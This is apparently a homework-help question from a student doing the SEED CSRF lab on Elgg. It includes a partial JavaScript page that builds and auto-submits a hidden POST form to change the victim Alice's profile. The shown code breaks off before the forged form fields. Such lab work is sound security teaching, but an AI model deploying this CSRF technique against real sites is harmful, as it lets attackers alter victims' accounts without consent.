Hello Trying Write Javascript Code Uses Post Method Automatically Fill Form User Csrf Atta Q37260021

Hello,
I am trying to write a javascript code that uses the post method toautomatically fill up a form by a user doing a CSRF attack, howeverthe code is not working, here it is :

How do i get the txt to display on the brief description?
The victim id is 42
and user name is Alice

I am trying to do task 2 in the following lab:
http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_CSRF_Elgg/Web_CSRF_Elgg.pdf

<html>
<body>
<h1>
Attack on Alice in Wonderland
</h1>
<script type=”text/javascript”>
function post(url,fields)
{
//create a <form> element.
var p = document.createElement(“form”);
//construct the form
p.action = url;
p.innerHTML = fields;
p.target = “_self”;
p.method = “post”;

//append the form to the current page.
document.body.appendChild(p);

//submit the form
p.submit();
}
function csrf_hack()
{
var fields;
// The following are form entries

OR
OR

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.